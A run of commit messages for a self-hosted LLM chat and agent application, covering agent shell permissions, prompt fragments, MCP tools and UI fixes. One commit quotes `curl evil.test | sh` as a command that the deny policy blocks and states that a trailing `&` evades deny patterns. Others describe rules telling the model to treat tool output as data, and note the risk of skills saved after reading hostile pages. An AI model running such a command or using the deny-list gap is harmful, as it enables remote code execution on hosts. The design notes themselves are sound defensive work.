completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.
`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.
The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.
The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.
And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.
Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Look around the machine before deciding to talk about it
The terminal and the canvas both needed a Chat, so they were missing from the one screen where you are choosing which machine to work on. A draft is the smallest thing that fixes it: an id, and the three facts behind it. The trick is that a draft resolves to a *transient* Chat -- constructed, never added to a session. `canvas.agent_ready`, `_executor`, `_load_agent`, `_save_agent` and `agent_session.resolve` read exactly four attributes between them and none of them queries or writes the row, so all of it works unchanged and nothing had to learn what a draft is. Proven against a real sshd rather than a stub: a transient chat opens and saves a project file over the same SFTP path a real one uses, and the database stays empty throughout. Chats are still created lazily. A draft is not a chat and never becomes one; when the first prompt makes the real one, the shell is re-keyed into it and the open tabs are copied across. `terminal.rekey` moves the registry key *and* `session.chat_id`, because close_for_profile, close_for_owner and the reaper all pop by the field -- a stale one would leave a dead session that `get` keeps handing out. The shell is only adopted when its profile and directory match the chat as finally resolved, since `_new_chat` settles an empty directory to the connection's own; otherwise it is left alone rather than transplanted onto a chat that says it runs elsewhere. Two canvas sources are refused on a draft, by name, and one of them is a hole rather than an inconvenience. `_load_file` authorises with `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is stored with `chat_id=None` -- so a draft whose chat carried no id would make that comparison `None != None`, which is False, and open every unclaimed attachment its owner has. `as_chat` does set an id, so it already fails; the refusal is stated anyway, because a guarantee that lives in an id-shaped coincidence is one the next change breaks without noticing. Adoption needed almost no JavaScript: start_chat already answers with HX-Redirect, so the page reloads and the canvas adopts by construction while the terminal reconnects to the re-keyed session and replays its scrollback -- the "a reload is indistinguishable from a second tab" property working for us. What re-points them mid-screen is a `lembas:agent-target` event, dispatched from `setDir` and the connection select because assigning to a hidden field's value fires nothing on its own. Driven under a DOM stub before committing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first burst, written once, so on the fifteen-block reply GPT-OSS actually produces only the first could claim a duration and the other fourteen said "Thought" and nothing at all. `Generation.thinking_ms` accumulates per round and `close_step` stamps it cumulatively, so steps.py diffs it exactly as it already diffs the three lengths beside it. The interval between a round's first and last reasoning delta, deliberately, not a sum of gaps between deltas -- that would count the network's latency as the model's thinking. While it runs: "Thinking" with an ellipsis that types itself, and the seconds and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is no timer to start, stop or clean up when the block is swapped away -- it stops existing when the element does. The numbers come from a `think` frame, and `round_thinking_ms` is written by the producer rather than computed by the follower from a start time: a model that has stopped thinking and moved on to a tool should show a settled number, not a clock that keeps running. Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by the live label and the stored one, so the two cannot drift into two conventions. The live duration is terser than the finished one -- `6s` against `6 seconds` -- because it sits beside an animating word and changes every second, where "less than a second" flickering into "1 second" reads as a glitch. Checked against the real endpoint: fourteen marks carrying 919ms through 14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k", and the live frames resetting each round rather than accumulating. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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The jobs chip was replacing the whole transcript
This is the blank agent chat, and it was not the transcript rewrite at all.
`hx-target` is inherited. The composer's form carries `hx-target="#thread"`
with `hx-swap="beforeend"`, which is what makes a sent message append a bubble.
The background-jobs chip I added last commit sits inside that form and declared
`hx-swap="outerHTML"` and nothing else -- which reads as "replace yourself" and
resolved, through the form, to "replace #thread with yourself". On load, and
then again every five seconds.
So an agent chat rendered its reply and then went blank, the reader's own prompt
along with it, because the entire transcript had been swapped out for a chip
that renders empty when no jobs are running. Only agent chats, because that is
the only place the chip exists. The server logged nothing, because nothing there
had gone wrong: every page render, every SSE frame and every stored row was
correct throughout, which is why four rounds of looking at the server found
nothing.
Both the chip and the element that loads it now carry `hx-target="this"`, and
`tests/test_chat.py` walks the composer's form and refuses anything that fetches
without saying where its answer goes. Checked against the bug before being kept.
Worth being precise about what made it invisible: the markup was correct. There
is nothing wrong with `hx-swap="outerHTML"` on an element with no target -- it
means "swap yourself" right up until an ancestor disagrees. It is the same
family as the trigger bound where the event does not go, and the same lesson:
assert the resolved property, not the attributes.
My earlier fix in
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A question that offers real choices, and says how many you may take
Three things about `ask_user`, all of them about the card being answerable rather than about the tool being callable. Options are required now, and they are objects: a label, and a line of description where the label alone does not say what choosing it would mean. "Rewrite it" and "Patch it" are two words that do not tell you which one loses your uncommitted work. They stack one per line, because a row of chips has nowhere to put the second line and no room to read the first. The model says whether they are exclusive. Only it knows whether its options are alternatives or a set, and the card has to show which -- a radio group offered where checkboxes were meant loses every answer but one. Exclusive is the default, being the cheaper mistake. A `multiple` question posts the same field name once per ticked box, so the endpoint gathers choices into a list; the `setdefault` it did before kept the first and dropped the rest, which is an answer that says something the reader did not. And "Something else" is added here, on every question, with the box behind it revealed by `:has()` and no JavaScript at all. The model is told never to write an "other" option of its own, because its version would be a choice with no box behind it -- a word submitted that means nothing. It carries a sentinel rather than an answer, and the endpoint swaps in what was typed beside it, or drops it when the box was left empty rather than telling the model the answer is "__other__". Typing no longer beats picking. That rule belonged to a box that was always visible next to the options; this one only exists once its own option is chosen, so picking is the answer and the box is one of the things you can pick. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the inspector is: tabs holding open files. Project files over SFTP in an agent chat; notes, skills, knowledge documents, this chat's text attachments and its own scratch document everywhere. Read with pygments, edited in a plain textarea, saved with a conflict check. A bug found on the way in, and the reason this needed its own read path. `ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes with errors="replace" -- right for the output of a command, and fatal for an editor: open a file containing an escape byte, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than mangling it, carry an mtime:size token for a file that moved underneath, and refuse an oversize write rather than truncating -- `write_file` truncates because a model is told how many bytes it wrote, and somebody pressing Save is not. The model-facing pair is untouched: what it returns is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason. Six sources go through one dispatch table, for the reason tool_labels.py is a table: six independently written permission checks is how one ends up written slightly differently, and that failure looks like editing somebody else's note. A save on a project file bypasses agent/policy.py, which makes it the fourth documented exception to "the modes do not govern the keyboard" and the first that writes. Same argument as the terminal panel -- whoever owns the credential could write the file with scp -- but the consequence is larger and is now said out loud rather than left to be inferred. The model opens tabs from the file tools it was already calling, so no new schema and no tokens. It never brings one to the front: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Only the strip is streamed, guarded on truthiness so the frame can never blank itself -- an empty one would close every open tab, the approval card you could press twice with the sign reversed. Both halves are settled on the server, which is why canvas.js needs no guard against a swap at all. No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1; CodeMirror 5 would be a larger payload than xterm on every page, and xterm is the one heavy dependency precisely because it loads only where it can be used. So: server-rendered highlighting for reading, a textarea for writing, and the panel says there is no colour while you type rather than pretending. Also here: a scratch document per chat, with `scratch_write` at RISK_READ on plan_update's argument, and a test pinning the three numbers that decide a panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel missing from it has a drag handle that works and forgets. Driven under a DOM stub and against the running application. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at the terminal's width with no way to tell a wrap from a newline -- its own comment said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use, and Copy, Send and an Auto toggle are built on those. The integration is written by the PTY command string itself, with printf. sshd runs that string through $SHELL -c, so it can case on the shell's own name and needs no probe, no second channel and no writable home. Passing it through the environment does not work -- every distribution ships AcceptEnv LANG LC_*, so anything else is dropped silently -- and feeding `source ...` in as keystrokes races a slow .zshrc, echoes into the scrollback and lands in shell history. Nothing needs hiding, which is the point of choosing it: the setup runs before the shell exists and never writes to the PTY's input side, so there is nothing to echo and no fan-out gate to build. Two things were wrong in the first version and both were found by running it against real shells rather than the fake one. bash: the DEBUG trap fires before every simple command *including each one inside PROMPT_COMMAND*, so $? read from there is whatever ran a moment ago -- every command reported success. The status is captured in the trap now, which also removes the two-entry PROMPT_COMMAND dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the shims were sourcing themselves and none of the user's configuration loaded; the original is passed on the exec line. Parsing is server-side. The `behind` path resets the terminal and replays a truncated scrollback, so a client parser routinely sees a finish with no start; two tabs share one shell and can disagree; and what comes out of this ends up inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are fanned out unchanged -- xterm consumes an OSC it has no handler for. Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes in has the invocation at the top and the error at the bottom. Carriage returns collapse to the last state of each line, which is the difference between a usable prompt and two megabytes of spinner. The fence is sized to its content, because output containing three backticks would otherwise break out and read as prose. Any shell that is not bash or zsh starts exactly as it did before. The buttons then scrape the screen and say so, and Auto is disabled rather than degraded: forty arbitrary lines on every message is worse than nothing. Also a generic [data-resize] handle, keyboard included, persisted the way the theme is. The inspector and sidebar can have it whenever they want it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the inspector and never beside it. The modes govern the model; what a person types is theirs, since they hold the credential and could open the same shell with an ssh client. The model cannot see the panel -- a button copies the output you choose into the composer. The session outlives the socket: closing the panel leaves a build running, and coming back reattaches with the scrollback. Two tabs share one shell and the smaller window decides the size. It ends on an idle timeout, on deleting the chat, on disabling, moving or deleting the connection, and on a restart -- which says why rather than quietly opening a fresh shell that has lost the working directory. The nginx template's `Connection ""` is right for SSE and fails every WebSocket handshake, so `location /` now uses a `map $http_upgrade`; update.sh grows a drift check for it, because the only symptom on a stale vhost is a panel that cannot connect. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Write down what agent chats are and what will bite you
CLAUDE.md gets the entries worth having been told: that the mode is enforced in the loop rather than the prompt and why that distinction is load-bearing; that an approved call has to be told it was approved, or the runners' own backstop refuses the very thing somebody just allowed; that `registry` must know the agent tools or the harness cannot name the machine -- the same omission that cost custom tools their guidance once already; that each command is a fresh shell and `apt-get install` needs an update first, which are the two likeliest sources of "the agent seems stupid"; that asyncssh's four defaults are all wrong when one unix account is shared; and that rewind rewinds the transcript and not the machine. "Not built yet" loses agentic execution and gains the reason nothing runs on this host -- with the two consequences stated plainly, since they are the ones somebody has to weigh: the security of an agent chat is the security of the host behind its profile, and there is no "no network" switch, because the network belongs to the far side. README gets a section that starts with the container, because that is the intended shape and the thing a reader has to build before any of it means anything. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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MCP servers, over streamable HTTP
A server is a row with a URL; its tools are discovered by a button and cached, then offered beside the built-in ones. Written by hand rather than taken from the reference SDK, because that SDK's transport does its own connecting -- and the one thing that must not be bypassed is check_url on every hop. Owning the transport is the point; the framing beside it is the small part. Sessions are per call: initialize, initialized, the call, a best-effort DELETE. Caching one wants an owner, a TTL, eviction, a lock and a shutdown hook, and the server may expire it under all of that anyway -- ToolContext is a session-free snapshot precisely so nothing in a tool holds live state. A server's names and descriptions reach the model as instructions and are bounded before they do; what it returns is escaped preformatted text, never markdown. Tools are namespaced per server, so two servers exposing "search" do not collide and neither shadows a built-in. Also: a round's calls now run together under a semaphore, results indexed so each tool turn stays paired with its call, and generation.status names what is running -- a remote tool is latency-bound, and a silent pause is what a hang looks like. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the earlier turns and sends the summary in their place. The messages are kept. They stay in the transcript behind a collapsed divider and simply stop being part of the request, which is what makes the button safe to press and automatic compaction safe to have at all: a summary that came out badly is a bad turn, not a lost conversation. Stored on the Chat, not as a synthetic Message. A synthetic row needs a role -- `system` breaks the one-system-message rule the moment build_messages emits it beside the harness, and user/assistant makes it a turn people can edit, regenerate from and copy, indistinguishable from a real one in all four places a bubble is rendered. Worse, "editing rewinds, it does not branch" would silently delete it and leave no marker that compaction had happened at all. The summary goes out as a user turn and an assistant turn, not one. A leading assistant breaks templates requiring the first non-system message to be user; a lone leading user produces user, user whenever the kept history starts on a user turn -- which it always does, because the cutoff lands on a finished reply. compacted_through_id is a plain id rather than a foreign key: migrations.py compiles only the column type, so a REFERENCES clause would exist on a fresh database and not on an upgraded one, and a constraint half the fleet has is worse than none. cutoff_message validates it on every read instead, and a rewind past the boundary clears it. Compacting again summarises only the delta, with the previous summary supplied to be subsumed. Re-summarising the whole chat each time grows quadratically and eventually exceeds the window it is protecting. Automatically at the top of _run, not in post_message: that route's contract is to return immediately and leave the slow part to a resumable connection, and it also means build_request is called once, after compaction, with no second assembly path. The trigger is the last reply's recorded usage plus an estimate of the new turn -- retrospective because true prompt_tokens are only knowable after a response, plus the delta because otherwise fifty thousand characters pasted into the composer overflow a window that read 90% last turn. It never fires when the context length is unknown. It does fire on estimated counts, which is safe here precisely because nothing is lost. _maybe_compact never raises: a failure logs and sends the uncompacted request. A `status` event says "Summarising earlier messages…" in the meantime, because a silent multi-second pause before the first token is what a hang looks like. The wording is three fragments under Admin - Prompts. Clearing task.compact turns compaction off entirely. Also adds compaction.moment(): SQLite does not store the offset, so a row loaded from disk is naive while one in the session's identity map keeps its tzinfo, and comparing the two raises. Every comparison here is between exactly those. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Every injected prompt becomes editable, and several get written
The instructions LLeMbas puts in front of a model were hard-coded: six
strings in a GUIDANCE dict, two headings, and the title request inline in
chat.py. An operator could not see what was being sent, let alone change
it, and there was nowhere for a custom tool to contribute its own guidance
when custom tools land.
services/prompts.py now holds each piece as a Fragment, and /admin/prompts
edits them with a preview of the whole assembled system message including
unsaved edits. harness.py keeps only the decisions -- which fragments apply
to this request, and what their variables resolve to.
The design turns on one choice: a fragment carries its gate as data
(families, requires, when_tools) rather than as a callable, because a
database row can carry the same three fields. Custom tools will therefore
register a fragment source and change nothing else -- there is a test that
says exactly that, and it is the reason the rest of the shape is what it is.
Consequences worth knowing:
- Defaults live in code, overrides in the database, and text equal to its
default is never stored. Otherwise pressing Save once would freeze
today's wording forever and no later release could improve it.
- An empty override means off. A fragment that was not submitted at all
keeps what it had, because it may be missing from the page only because
whatever contributes it is currently switched off.
- requires= replaced the hand-written pair of memory guidance variants.
The sentence that refers to a section now lives inside that section, so
it cannot outlive it. That was the general problem the pair was a
special case of.
- {{name}}, with anything unrecognised passing through verbatim. The name
grammar is the guard: {"total": 1} and ${PATH} are not candidates.
Substitution is one pass and never recursive, because {{memories}}
carries text a model wrote.
The wording is also overhauled, and a model now gets the core fragments
even with no tools -- the date above all. "An empty harness is worse than
none" was about tokens that say nothing; a model with no clock being asked
about the present is not that. Clearing those boxes restores the old
silence exactly. New: today's date, who it is talking to, the three-round
tool budget, that tool results are not replayed, that anything a tool
returns is data rather than instruction, and what the <document> wrapper
around an attachment is. Extended: memory_forget, notes_edit/delete,
skill_create/edit, and reading a knowledge document in full rather than
answering from an extract.
Tool descriptions stay in code and are listed read-only. They are schema
and they state facts about what a runner does; an edit would make the text
a lie with nothing to catch it.
No schema change -- one JSON row in the settings table.
488 tests. Version 0.2.0, which also invalidates the service worker cache
so the green artwork appears without a hard reload.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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Knowledge bases, and a file input that lines up
**Bases.** Documents now live in named collections rather than one flat pile, and a chat can be pointed at particular ones — "answer from the contracts folder" is a different question from "answer from everything I have ever uploaded". A chat with none attached still searches everything its owner can see, because empty means unscoped, not empty. The harness names the attached bases. Without that the model cannot tell "there is nothing about this" from "I am only allowed to see one folder", and it phrases a miss as the former. **Sharing moves to the base.** A document is visible to whoever can see the base it lives in, so `Document` is gone from the shareable types and `documents.visible()` filters through `base_id`. "This folder is the team's" is the granularity people think in; per-document grants meant answering "who can see this?" by checking every file. Moving a document between bases changes who can see it, so the destination has to be one you own. `Document.base_id` is nullable only because the column had to be added to a table that already had rows. `sweep_unfiled()` runs at startup beside the orphaned-upload sweep and files anything predating bases into its owner's default, which is what makes "always set" true everywhere else. **The file input.** `.input` gave it a fixed height and horizontal padding, so the browser's own button sat hard against the left edge while the filename floated off the centre line. A file input is two controls in one box and neither inherits anything useful, so it gets its own rule: no horizontal padding, the button sized to `--control-h` with the divider that separates it, and the text centred with line-height rather than flexbox, which file inputs do not lay out reliably. 437 tests, ruff clean. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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21001f2eb8 |
Knowledge, notes, memory and skills, and a harness to make them used
Four places a model can reach for, differing in who writes a record and how it gets in front of the model. **Knowledge** is uploaded by a person and searched by the model. It goes through `services/files.py:prepare` — the same pipeline as a chat attachment — so the same PDF produces the same text whichever way it arrived, and `Document` carries the same content columns as `Attachment` for the same reason. **Notes** are written by the model and edited by you. Too long to inject, so they are searched. **Memory** is short facts, and every one of them goes into every request. That single decision is where the rest of its design comes from: records are capped short, the block has a budget, there is no search tool because the model is already looking at them, and they are not shareable — a record about a person is not content to hand round. **Skills** are saved procedures. Only the name and description are injected; the body is fetched when the model decides one applies, which is what makes a hundred skills affordable. A model may write and revise its own — the safety story is not a gate but a record: every revision is kept, attributed and revertible. A model that has just read a hostile page can save a skill that outlives the conversation, and the honest mitigation is that it is visible and undoable rather than that it was prevented. **The harness** is why any of it gets used. A model handed a tools array ignores it and answers from recall, because nothing in the request suggests otherwise. `services/harness.py` assembles a preamble from what this chat actually has: when to reach for each tool, the memories, the skill index. This is an exception to "system prompts are precedence, not concatenation", and a deliberate one. That rule governs the three *authored* layers and is untouched — exactly one still wins. The harness is a different axis: it describes the machinery rather than the behaviour, nobody authored it, and there is nothing for it to disagree with. It is prepended to whichever authored prompt won, in one system message, since several endpoints reject a second. Supporting changes: - **Sharing**, in one helper. `visible_to()` is the only definition of who can see a library item and every listing and tool goes through it. Sharing grants *reading*; two people editing one note with no history and no merge is worse than copying it. **Administrators do not bypass this** — they bypass permissions elsewhere because an admin can grant themselves those anyway, but reading somebody's private notes is a different act. - **FTS5**, created by `db/migrations.py:ensure_fts` with the triggers an external-content index needs. Idempotent, like the column sync beside it. Terms are ANDed and then ORed: the caller is usually a model writing a whole question, and requiring every word loses the match on one absent term. - **The attach button is a menu** — file, image, a web page, or a document from the library. Attaching a document copies it, because history must not change when a document is edited later. - **A URL fetcher with an SSRF guard.** This server can reach the router, the other services on the box and LLeMbas itself, and the address can come from a model. Private ranges are refused *after resolution* and redirects are followed by hand so every hop is checked. An admin can open it deliberately. - **Model capabilities split** into protocol support and a toggle per built-in tool. Rows predating the split have no `tool_*` keys, and absent counts as on when `tools` is on — otherwise an upgrade silently takes web search away from every model already configured for it. Also fixes the test fixture, which built the schema with `create_all` and so ran against a database without the FTS tables production has; it now runs `sync_schema`, the same path startup takes. 430 tests, ruff clean. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.
**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.
**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.
**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.
**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.
Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.
Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.
338 tests, ruff clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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Background generation, unread replies, send/stop, PLAN.md
**Replies now run in the background.** Generation was driven by the SSE request, so navigating away or opening another chat cut the answer off mid-sentence. services/generation.py owns the work as its own task and the SSE endpoint merely follows it. Verified: attached briefly, closed the connection, went to another page -- the reply finished anyway, 832 characters, not marked stopped, auto-titled. Reattaching works because both `render` and `reasoning` frames now carry the whole block rather than a delta. A follower arriving late has no earlier fragments to append to, so deltas would leave it permanently missing the beginning. Verified: attached six seconds in and the first frame already contained 517 characters written while nobody watched. **Unread indicator.** A reply that lands with no follower attached marks its chat unread; the sidebar polls every 10s for out-of-band dot spans plus an HX-Trigger that raises a toast. Polled rather than pushed: a browser sitting on another chat has no connection to the one that finished, and an always-on channel per tab is a lot of machinery for a green dot. `unread_notified` stops the same arrival being announced every tick. Follower count is what decides "was anyone watching", so reading it as it arrives does not mark it unread -- verified both ways. **Stop is the send button.** While a reply is being written the send button becomes a red stop square, found via a MutationObserver on the thread since the composer and the streaming bubble are far apart in the document. The in-bubble Stop is gone. **Attachment border removed.** As asked -- an attachment is a picture, and the frame only ever drew at the wrong width. The anchor now shrink-wraps and the img's width/height attributes are overridden so a small image shows at its own size. Adds PLAN.md: what is built, what is not, known limits, and the decisions that look like oversights until you know the reason. 239 tests, ruff clean. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |